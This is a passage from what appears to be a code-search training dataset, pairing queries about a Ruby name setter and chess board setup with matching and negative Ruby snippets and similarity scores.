"0.62282205",
"0.62273127",
"0.6220788",
"0.6218455",
"0.6213112",
"0.6209898",
"0.6207081",
"0.6206125",
"0.6206099",
"0.620324",
"0.6203147",
"0.62019455",
"0.62015414",
"0.6201089",
"0.61946917",
"0.61946917",
"0.6194255",
"0.619421",
"0.6193544",
"0.6191859",
"0.6190678",
"0.6190449",
"0.6185449",
"0.6184981",
"0.61843055",
"0.6182907",
"0.6181788",
"0.61773217",
"0.617266",
"0.6171391",
"0.61710167",
"0.61681575",
"0.61641794",
"0.6163235",
"0.61618155",
"0.6160613",
"0.6155717",
"0.6155178",
"0.6155106",
"0.6155106"
] | 0.7840331 | 1 |
def set_name=(name) > method to change names | def name=(n) #rubyist
@name = n #@name = name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def name_setter(new_name)\n @name = new_name\n end",
"def set_name(name)\n @name = name\n end",
"def change_name=(name)\n @name = name\n end",
"def set_name=(name)\n @name = name\n end",
"def name= val # Setter - set a value\n @name = val \n end",
"def name=(name)\n end",
"def set_name(a_name)\n @name = a_name\n end",
"def setName(name)\r\n\t\t\t\t\t@name = name\r\n\t\t\t\tend",
"def setName(name)\r\n\t\t\t\t\t@name = name\r\n\t\t\t\tend",
"def setName(name)\r\n\t\t\t\t\t@name = name\r\n\t\t\t\tend",
"def setName(name)\r\n\t\t\t\t\t@name = name\r\n\t\t\t\tend",
"def setName(name)\r\n\t\t\t\t\t@name = name\r\n\t\t\t\tend",
"def setName=(name)\n @name = name\n end",
"def set_name=(name)\n @name=name\n end",
"def name= new_name\n @name = new_name\n end",
"def name=(new_name) \n @name = new_name\n end",
"def setName(name)\n @name = name\n end",
"def name= (new_name)\n @name = new_name\n end",
"def name=(name) #don't forget it accepts an argument name = format\n @name = name\n end",
"def name=(new_name)\n @name = new_name\n end",
"def name=(new_name)\n @name = new_name\n end",
"def name=(new_name)\n @name = new_name\n end",
"def name=(new_name)\n\t\t@name = new_name\n\tend",
"def name=(value); end",
"def setName(n)\n @name = n\n end",
"def name=(name)\n\t\t@new_name = name\n\tend",
"def name=(new_name)\n @name=new_name\n end",
"def new_name(new_name)\n @name = new_name\n end",
"def set_name(name_in)\n @name = name_in.clone();\n end",
"def name=(new_name)\n @name = new_name\n end",
"def name=(new_name)\n @name = new_name\n end",
"def name=(val)\n self[:name] = val\n end",
"def set_name(name)\n unless name.nil?\n @name = name\n end\n @name\n end",
"def name=(new_name)\n if new_name != self.name\n self.old_name = self.name\n self.write_attribute(:name, new_name)\n end\n end",
"def set_name=(name)\n # '@' represents the member variable\n @name = name\n end",
"def name=(val)\n @name = val\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(name)\n\t@name = name\nend",
"def name=(name)\r\n @name = name\r\n end",
"def name=(name)\r\n @name = name.capitalize\r\n end",
"def name=(nm)\n @name = nm\n end",
"def name=(name)\n @name = name\n end",
"def name=(name)\n @name = name\n end",
"def name=(name)\n @name = name\n end",
"def name=(name)\n @name = name\n end",
"def name=(name)\n\t\tself.sname = name\n\tend",
"def name=(name)\n\t\tself.sname = name\n\tend",
"def set_name(name)\n\t\tfirst_name, last_name = name.split(/\\s+/)\n\t\tset_first_name(first_name)\n\t\tset_last_name(last_name)\n\tend",
"def name=(name)\n @name = name.to_sym\n end",
"def name=(name)\n @name = name.to_sym\n end",
"def name=(name)\n @name = name.to_s\n end",
"def name=(name)\n @name = name.to_s\n end",
"def set(name)\n @name = name\n self\n end",
"def name=(val)\n self['name'] = val\n end",
"def name=(name)\n @name = name\n end",
"def name=(value)\n @name = attributes[:name] = value\n end",
"def name=(name)\n @name = name\n end",
"def name(name)\n @name = name\n end",
"def name=(name_to_be_set)\n @name = name_to_be_set\n end",
"def name= value\r\n @name = value.to_sym\r\n end",
"def name (name)\n @name = name\n end",
"def name=(val)\n @name = val\n end",
"def name=(name)\n @name = name\n end",
"def change_name(name)\n self.change_all_attribute(name, 'name')\n end",
"def name_setter\n @name\n end",
"def setName(nombre)\n @name = nombre\n end",
"def name=(name)\n write_attribute(:name, name.downcase)\n end",
"def name=(n)\n @name = n.capitalize\n end",
"def name=(value)\n @name = value.to_s\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(value)\n @name = value\n end",
"def name=(aname)\n\t\t@name=aname\n\tend",
"def set_name(name)\n @person[:name] = name\n end",
"def name=(str); dirty!; super; end",
"def name=(_name)\n write_attribute(:name, _name.strip)\n end",
"def name=(n)\n @name = n\nend",
"def iname=(val)\n attributes['name'] = val\n end",
"def iname=(val)\n attributes['name'] = val\n end",
"def iname=(val)\n attributes['name'] = val\n end",
"def name=(name)\n @name ||= name.to_s\n end",
"def set_name\n self.update(name: \"Large Washer ##{self.id}\") unless self.name\n end",
"def set_Name(value)\n set_input(\"Name\", value)\n end",
"def name=(value)\n @name = value.to_sym\n end",
"def set_Name(value)\n set_input(\"Name\", value)\n end"
] | [
"0.87736195",
"0.8531453",
"0.8516591",
"0.8483499",
"0.8369841",
"0.8342851",
"0.83335775",
"0.83268005",
"0.83268005",
"0.83268005",
"0.83268005",
"0.83268005",
"0.8322407",
"0.82996196",
"0.8286663",
"0.82865596",
"0.8284237",
"0.8280601",
"0.8254604",
"0.8242691",
"0.8242691",
"0.8241685",
"0.8224948",
"0.8221024",
"0.819906",
"0.81919384",
"0.8189314",
"0.81601185",
"0.8140246",
"0.81379056",
"0.81379056",
"0.81256807",
"0.81109804",
"0.8107788",
"0.8079453",
"0.80676997",
"0.805447",
"0.805447",
"0.8053644",
"0.8051465",
"0.8018391",
"0.80146587",
"0.7980026",
"0.7980026",
"0.7980026",
"0.7980026",
"0.79613155",
"0.7960581",
"0.7939009",
"0.7935363",
"0.7935363",
"0.79337823",
"0.79337823",
"0.79265666",
"0.7921232",
"0.79170597",
"0.7916064",
"0.7910849",
"0.7905507",
"0.79038596",
"0.7888195",
"0.7880511",
"0.7877518",
"0.7876206",
"0.7854529",
"0.78505427",
"0.7815262",
"0.7804657",
"0.7794991",
"0.7792796",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.77906173",
"0.7790241",
"0.77886474",
"0.7780244",
"0.77659214",
"0.77590597",
"0.77571166",
"0.77571166",
"0.77571166",
"0.77484703",
"0.7744946",
"0.7739523",
"0.7731637",
"0.77225477"
] | 0.80257875 | 40 |
Setting up the board. Loading it with all the squares and pieces. | def initialize
@config = Outpost::Config.setup
@squares = Outpost::Squares::Create.squares self
reset_cycled_colors
@pieces = Outpost::Piece::Create.pieces self
setup_pieces
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def setup_board\n gameboard.build_board\n build_white_side\n build_black_side\n end",
"def setup(board)\n ('a'..'h').each_with_index do |column, index|\n # Set up the home rows\n [[1, :white], [8, :black]].each do |row, color|\n piece = HOME_ROW[index].new(color)\n board.place( Square.new(column, row), piece )\n end\n \n # Setup the pawns\n [[2, :white], [7,:black]].each do |row, color|\n piece = Pawn.new(color)\n board.place( Square.new(column, row), piece)\n end\n end\n end",
"def setup_board\r\n place_pawns\r\n place_bishops\r\n place_rooks\r\n place_knights\r\n place_queens\r\n place_kings\r\n end",
"def setup_board\n @startup = true\n @board = @board.map{|col| col.map{|piece| Piece.new if piece.nil?}}\n clear_matches\n @startup = false\n @pieces_removed = 0\n end",
"def board_setup\n\t\tinitial_position = [\"rook\", \"knight\", \"bishop\", \"queen\", \"king\", \"bishop\", \"knight\", \"rook\"]\n\t\tspecial_position = [8,1]\n\t\tpawn_position = [7,2]\n\t\tinitial_color = [\"black\",\"white\"]\n\t\ti = 0\n\t\tx = 0\n\t\t#loops through ranks 8 and 1 setting each class piece in his corresponding position.\n\t\tspecial_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = initial_position[i]\n\t\t\t\t@board[letter+num.to_s].color = initial_color[x]\n\t\t\t\ti += 1\n\t\t\tend\n\t\t\ti = 0\n\t\t\tx += 1\n\t\tend\n\n\t\ty = 0\n\t\t#loos through ranks 7 and 2 setting the pawn's pieces in his corresponding position.\n\t\tpawn_position.each do |num|\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\t@board[letter+num.to_s].name = \"pawn\"\n\t\t\t\t@board[letter+num.to_s].color = initial_color[y]\n\t\t\tend\n\t\t\ty += 1\n\t\tend\n\tend",
"def init_board\n @board =\n if board_state.present?\n Board.new(width: rows, height: cols, mines_count: mines).tap do |b|\n b.load_state!(board_state)\n end\n else\n Board.new(width: rows, height: cols, mines_count: mines).tap do |b|\n b.setup!\n end\n end\n end",
"def setup\n setup_major_pieces\n setup_pawns\n end",
"def populate_board\n black = \"black\"\n white = \"white\"\n\n white_pawns = [\"A2\", \"B2\", \"C2\", \"D2\", \"E2\", \"F2\", \"G2\", \"H2\"]\n black_pawns = [\"A7\", \"B7\", \"C7\", \"D7\", \"E7\", \"F7\", \"G7\", \"H7\"]\n\n # create white pawns\n white_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(white, pos)\n end\n\n # create white pieces\n @board.nodes[\"E1\"].piece = create_king(white, \"E1\")\n @board.nodes[\"D1\"].piece = create_queen(white, \"D1\")\n @board.nodes[\"C1\"].piece = create_bishop(white, \"C1\")\n @board.nodes[\"F1\"].piece = create_bishop(white, \"F1\")\n @board.nodes[\"B1\"].piece = create_knight(white, \"B1\")\n @board.nodes[\"G1\"].piece = create_knight(white, \"G1\")\n @board.nodes[\"A1\"].piece = create_rook(white, \"A1\")\n @board.nodes[\"H1\"].piece = create_rook(white, \"H1\")\n\n # create black pawns\n black_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(black, pos)\n end\n\n # create black pieces\n @board.nodes[\"E8\"].piece = create_king(black, \"E8\")\n @board.nodes[\"D8\"].piece = create_queen(black, \"D8\")\n @board.nodes[\"C8\"].piece = create_bishop(black, \"C8\")\n @board.nodes[\"F8\"].piece = create_bishop(black, \"F8\")\n @board.nodes[\"B8\"].piece = create_knight(black, \"B8\")\n @board.nodes[\"G8\"].piece = create_knight(black, \"G8\")\n @board.nodes[\"A8\"].piece = create_rook(black, \"A8\")\n @board.nodes[\"H8\"].piece = create_rook(black, \"H8\")\n\n end",
"def initialize\n self.make_board\n end",
"def init_board\n @board = Board.new\n @board.display_board\n end",
"def setup( )\n\t\t\t(\"a\"..\"h\").each do |f|\n\t\t\t\t@squares[\"#{f}2\"] = Chess::Pawn.new(self, \"#{f}2\", :white)\n\t\t\t\t@squares[\"#{f}7\"] = Chess::Pawn.new(self, \"#{f}7\", :black)\n\t\t\tend\n\t\t\t[\"a\", \"h\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Rook.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Rook.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t[\"b\", \"g\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Knight.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Knight.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t[\"c\", \"f\"].each do |f|\n\t\t\t\t@squares[\"#{f}1\"] = Chess::Bishop.new(self, \"#{f}1\", :white)\n\t\t\t\t@squares[\"#{f}8\"] = Chess::Bishop.new(self, \"#{f}8\", :black)\n\t\t\tend\n\t\t\t@squares[\"d1\"] = Chess::Queen.new(self, \"d1\", :white)\n\t\t\t@squares[\"d8\"] = Chess::Queen.new(self, \"d8\", :black)\n\t\t\t@squares[\"e1\"] = Chess::King.new(self, \"e1\", :white)\n\t\t\t@squares[\"e8\"] = Chess::King.new(self, \"e8\", :black)\n\t\tend",
"def setup_board\n (1..64).each do |location|\n @@piece_locations[location] = {\"type\" => \" \", \"number\" => nil, \"color\" => nil}\n end\n\n # Black Pieces\n @@piece_locations[1] = {\"type\" => \"rook\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[2] = {\"type\" => \"knight\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[3] = {\"type\" => \"bishop\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[4] = {\"type\" => \"queen\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[5] = {\"type\" => \"king\", \"number\" => 1, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[6] = {\"type\" => \"bishop\", \"number\" => 2, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[7] = {\"type\" => \"knight\", \"number\" => 2, \"color\" => \"black\", \"moved\" => false}\n @@piece_locations[8] = {\"type\" => \"rook\", \"number\" => 2, \"color\" => \"black\", \"moved\" => false}\n (1..8).each do |col|\n @@piece_locations[col + 8] = {\"type\" => \"pawn\", \"number\" => col, \"color\" => \"black\", \"moved\" => false}\n end\n\n # White Pieces\n @@piece_locations[57] = {\"type\" => \"rook\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[58] = {\"type\" => \"knight\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[59] = {\"type\" => \"bishop\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[60] = {\"type\" => \"queen\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[61] = {\"type\" => \"king\", \"number\" => 1, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[62] = {\"type\" => \"bishop\", \"number\" => 2, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[63] = {\"type\" => \"knight\", \"number\" => 2, \"color\" => \"red\", \"moved\" => false}\n @@piece_locations[64] = {\"type\" => \"rook\", \"number\" => 2, \"color\" => \"red\", \"moved\" => false}\n (1..8).each do |col|\n @@piece_locations[col + 48] = {\"type\" => \"pawn\", \"number\" => col, \"color\" => \"red\", \"moved\" => false}\n end\n end",
"def make_board\n make_blank_board\n populate_board\n end",
"def fill_board\n\t\tfill_row_pieces(0, 'b')\n\t\tfill_row_pawn(1, 'b')\n\t\tfill_row_pieces(7, 'w')\n\t\tfill_row_pawn(6, 'w')\n\tend",
"def initialize \n @rows = 8\n @columns = 8\n @grid = create_board\n end",
"def setup_display\n gameboard.build_display\n build_white_side\n build_black_side\n end",
"def test_init\n #@board[0][5].piece = Bishop.new(@board[0][5], \"♗\", \"white\")\n @board[0][4].piece = King.new(@board[0][4], \"♔\", 'white')\n\n @board[7][4].piece = Queen.new(@board[7][4], \"♛\", \"black\" )\n @board[7][3].piece = Rook.new(@board[7][3], \"♜\", \"black\")\n @board[7][5].piece = Rook.new(@board[7][5], \"♜\", \"black\")\n end",
"def setup_board!\n\t\t@board = Array.new($dimensions[:y]){ Array.new($dimensions[:x]) {:empty} }\n\tend",
"def initialize_game\n setup_boards\n end",
"def initialize_board\n # Building out white pieces\n (0..7).each do |x|\n Pawn.create(is_black: false, x_position: x, y_position: 1, game_id: id, user_id: user_id_white, status: 'active')\n end\n\n Rook.create(is_black: false, x_position: 0, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Rook.create(is_black: false, x_position: 7, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Knight.create(is_black: false, x_position: 1, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Knight.create(is_black: false, x_position: 6, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Bishop.create(is_black: false, x_position: 2, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Bishop.create(is_black: false, x_position: 5, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n King.create(is_black: false, x_position: 4, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Queen.create(is_black: false, x_position: 3, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n # Building out the black pieces\n (0..7).each do |x|\n Pawn.create(is_black: true, x_position: x, y_position: 6, game_id: id, user_id: user_id_black, status: 'active')\n end\n\n Rook.create(is_black: true, x_position: 0, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Rook.create(is_black: true, x_position: 7, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Knight.create(is_black: true, x_position: 1, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Knight.create(is_black: true, x_position: 6, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Bishop.create(is_black: true, x_position: 2, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Bishop.create(is_black: true, x_position: 5, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n King.create(is_black: true, x_position: 4, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Queen.create(is_black: true, x_position: 3, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n end",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n\n (1..8).each do |row|\n (1..8).each do |col|\n\n # Place starting pieces on board\n if (1..3).include?(row) && Square.new(colors[0]).color == Square::BLACK\n Square.new(colors[0]).checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && Square.new(colors[0]).color == Square::BLACK\n Square.new(colors[0]).checker_piece = Piece.new(Piece::RED)\n end\n\n @board[[row,col]] = Square.new(colors[0])\n\n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def setup_game\n name_player = set_name_player\n number_columns = set_number_columns\n number_rabbits = set_number_rabbits(number_columns)\n number_foxs = set_number_foxs(number_columns)\n\n board = build_board(number_columns)\n rabbit_collection = build_rabbit_collection(number_columns, number_rabbits)\n fox_collection = build_fox_collection(number_columns, number_foxs)\n\n\n [ board, name_player, number_columns, rabbit_collection, fox_collection ]\nend",
"def populate_board\n\t\t8.times{|x|\t@board[x][6] = Pawn.new([x, 6], \"black\", @board)}\n\t\t@board[0][7] = Rook.new([0, 7], \"black\", @board)\t\n\t\t@board[1][7] = Knight.new([1, 7], \"black\", @board)\n\t\t@board[2][7] = Bishop.new([2, 7], \"black\", @board)\n\t\t@board[3][7] = Queen.new([3, 7], \"black\", @board)\n\t\t@board[4][7] = King.new([4, 7], \"black\", @board)\t\t\n\t\t@board[5][7] = Bishop.new([5, 7], \"black\", @board)\n\t\t@board[6][7] = Knight.new([6, 7], \"black\", @board)\n\t\t@board[7][7] = Rook.new([7, 7], \"black\", @board)\n\t\t\t\t\n\t\t 8.times{|x|\t@board[x][1] = Pawn.new([x, 1], \"white\", @board)}\n\t\t@board[0][0] = Rook.new([0, 0], \"white\", @board)\t\n\t\t@board[1][0] = Knight.new([1, 0], \"white\", @board)\n\t\t@board[2][0] = Bishop.new([2, 0], \"white\", @board)\n\t\t@board[3][0] = Queen.new([3, 0], \"white\", @board)\n\t\t@board[4][0] = King.new([4, 0], \"white\", @board)\t\t\n\t\t@board[5][0] = Bishop.new([5, 0], \"white\", @board)\n\t\t@board[6][0] = Knight.new([6, 0], \"white\", @board)\n\t\t@board[7][0] = Rook.new([7, 0], \"white\", @board)\n\tend",
"def init_board(size=5, handicap=0)\n @game = GameLogic.new\n @game.new_game(size, handicap)\n @goban = @game.goban\n @grid = Grid.new(size)\n @filler = ZoneFiller.new(@goban, @grid)\n end",
"def board_setup\n create_boats.each do |boat|\n board.place_boat(boat, board.random_boat_location(boat.size))\n end\n end",
"def populate_board(board)\n #Fills in the top and bottom rows\n [0, 7].each do |row|\n 4.times do |col|\n board[row][col] = create_piece(row, col)\n board[row][(7-col)] = create_piece(row, (7-col))\n end\n end\n\n #Fills in the pawns\n 8.times do |col|\n board[1][col] = BlackPawn.new(1, col)\n board[6][col] = WhitePawn.new(6, col)\n end\n\n board\n end",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n \n (1..8).each do |row|\n (1..8).each do |col|\n sq = Square.new(colors[0])\n\n # Place starting pieces on board\n if (1..3).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::RED)\n end\n \n @board[[row,col]] = sq\n \n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def populate\n @board[7][0] = ChessPiece.new \"w_rook_1\", \"\\u2656\"\n @board[7][1] = ChessPiece.new \"w_knight_1\", \"\\u2658\"\n @board[7][2] = ChessPiece.new \"w_bishop_1\", \"\\u2657\"\n @board[7][3] = ChessPiece.new \"w_queen\", \"\\u2655\"\n @board[7][4] = ChessPiece.new \"w_king\", \"\\u2654\"\n @board[7][5] = ChessPiece.new \"w_bishop_2\", \"\\u2657\"\n @board[7][6] = ChessPiece.new \"w_knight_2\", \"\\u2658\"\n @board[7][7] = ChessPiece.new \"w_rook_2\", \"\\u2656\"\n @board[0][0] = ChessPiece.new \"b_rook_1\", \"\\u265C\"\n @board[0][1] = ChessPiece.new \"b_knight_1\", \"\\u265E\"\n @board[0][2] = ChessPiece.new \"b_bishop_1\", \"\\u265D\"\n @board[0][3] = ChessPiece.new \"b_queen\", \"\\u265B\"\n @board[0][4] = ChessPiece.new \"b_king\", \"\\u265A\"\n @board[0][5] = ChessPiece.new \"b_bishop_2\", \"\\u265D\"\n @board[0][6] = ChessPiece.new \"b_knight_2\", \"\\u265E\"\n @board[0][7] = ChessPiece.new \"b_rook_2\", \"\\u265C\"\n (0..7).each do |id|\n @board[6][id] = ChessPiece.new \"w_pawn_#{id+1}\", \"\\u2659\"\n @board[1][id] = ChessPiece.new \"b_pawn_#{id+1}\", \"\\u265F\"\n end \n end",
"def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end",
"def setup_board\n # Create game objects.\n create_objects\n\n # Print the start game string.\n puts start_game\n # For each ship ask for user input and place them once the given coordinates and placement is valid.\n @user_ships.each do |ship|\n print user_placement_selection(ship)\n user_place_location = convert_user_coord(user_input)\n \n # Loop until there is a valid input from the user.\n until place_user_ship(ship, user_place_location)\n print invalid_coord\n user_place_location = convert_user_coord(user_input)\n end\n # Show the users ship setup.\n puts show_user_ships_setup\n end\n end",
"def initializeBoard()\n\t\tfor i in (0...@board.length)\n\t\t\tfor j in (0...@board.length)\n\t\t\t\t@board[i][j] = EMPTY\n\t\t\tend\n\t\tend\n\n\t\t@board[@size/2][@size/2] = BLACK\n\t\t@board[@size/2 - 1][@size/2 - 1] = BLACK\n\t\t@board[@size/2 - 1][@size/2] = WHITE\n\t\t@board[@size/2][@size/2 - 1] = WHITE\n\n end",
"def draw_board_start\n #Places the pawns\n 8.times do |x|\n @b[x][1] = @WP\n @b[x][6] = @BP\n end\n #white, on bottom, the opaque pieces\n @b[0][0] = @WR; @b[7][0] = @WR\n @b[1][0] = @WK; @b[6][0] = @WK\n @b[2][0] = @WB; @b[5][0] = @WB\n @b[3][0] = @WQ\n @b[4][0] = @WKg\n #black, on top, the filled in pieces\n @b[0][7] = @BR; @b[7][7] = @BR\n @b[1][7] = @BK; @b[6][7] = @BK\n @b[2][7] = @BB; @b[5][7] = @BB\n @b[3][7] = @BQ\n @b[4][7] = @BKg\n \n #TESTING PIECES HERE\n\n\n draw_board\n end",
"def populate_board!\n # white pieces\n # creates the 8 pawn pieces across the board\n 8.times do |i|\n # sets game_id in Piece model to current id in Game\n # color is boolean - true for white, false for black\n Pawn.create(game_id: id, x_coord: i, y_coord: 1, color: true, captured: false)\n end\n # creates the 2 rook, knight, and bishop pieces on opposite sides of the board\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n\n Queen.create(game_id: id, x_coord: 3, y_coord: 0, color: true, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 0, color: true, captured: false)\n\n # black pieces\n 8.times do |i|\n Pawn.create(game_id: id, x_coord: i, y_coord: 6, color: false, captured: false)\n end\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n Queen.create(game_id: id, x_coord: 3, y_coord: 7, color: false, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 7, color: false, captured: false)\n end",
"def setup\n (1..12).each do |num|\n @board[num] = %W[_ _ _ _]\n end\n end",
"def board_setup\n puts \"\"\n puts \"**********************\".green\n puts \"1st step - Board setup\".green\n puts \"**********************\".green\n puts \"\"\n\n player1_title = @best_of3 ? \"#{@board_player1.player.wins} wins\" : \"\"\n puts \"Player #{@board_player1.player.name} #{player1_title}\".blue\n @board_player1.set_board\n\n player2_title = @best_of3 ? \"#{@board_player2.player.wins} wins\" : \"\"\n puts \"Player #{@board_player2.player.name} #{player2_title}\".blue\n @board_player2.set_board\n end",
"def initialize\n create_board\n end",
"def initialize\n\n\t\t# Set up some default values here; things like the size of board,\n\t\t# level of complexity and suchlike.\n\t\t@board_size = :small\n\t\t@board_level = 1\n\t\tsize \n\t\trender_board\n\n\tend",
"def set_board\n @canvas = GameCanvas.new\n @board = Board.new(self)\n @canvas.place(@board.block_size * @board.num_rows,\n @board.block_size * @board.num_columns, 10, 10)\n @board.draw\n end",
"def initialize ()\n\t\t@board = [\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \" ,\" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" X \", \" O \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" O \", \" X \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \",\n\t\t\t\t\t\n\t\t\t\t\t\" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \", \" . \"]\n\t\t@board_arr\t\t= Array(0..@board.length-1)\n\t\t@board_height\t= 8\n\t\t@board_width \t= 8\n\tend",
"def initialize(setup = true)\n @board = Array.new(8) {Array.new(8)}\n setup_board if setup\n end",
"def initialize\n @@BOARD_SIZE = 8\n @board = create_board\n @god_mode = false\n end",
"def populate_board\n back_row = [Rook, Knight, Bishop, Queen, King, Bishop, Knight, Rook]\n\n black_back_row = []\n back_row.each_with_index do |piece_class, j|\n black_back_row << piece_class.new(self, :black, [0, j])\n end\n board[0] = black_back_row\n \n black_front_row = []\n (0..7).each {|idx| black_front_row << Pawn.new(self, :black, [1, idx])}\n board[1] = black_front_row\n \n (2..5).each do |row|\n board[row] = Array.new(8) {NullPiece.instance} \n end\n \n white_front_row = []\n 8.times {|idx| white_front_row << Pawn.new(self, :white, [6, idx])}\n board[6] = white_front_row\n \n white_back_row = []\n back_row.each_with_index do |piece_class, j|\n white_back_row << piece_class.new(self, :white, [7, j])\n end\n board[7] = white_back_row\n end",
"def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end",
"def initialize\n\t\t@board = Board.new\n\t\t\n\tend",
"def initialize\n\n\t\t@width = 8\n\t\t@height = 8\n\t\t@board = Array.new(@height){Array.new(@width)}\n\n\t\t# inicializamos en board con guiones (vacio\n\t\tfor file in (0..@width-1)\n\t\t\tfor column in (0..@height-1)\n\t\t\t\t@board[file][column] = \"--\"\n\t\t\tend\n\t\tend\n\tend",
"def initialize(fill_board = true)\n @grid = Array.new(8) { Array.new(8) }\n\n setup_grid if fill_board\n end",
"def initialize board\n @board = board\n end",
"def initialize\n @board = Board.new\n end",
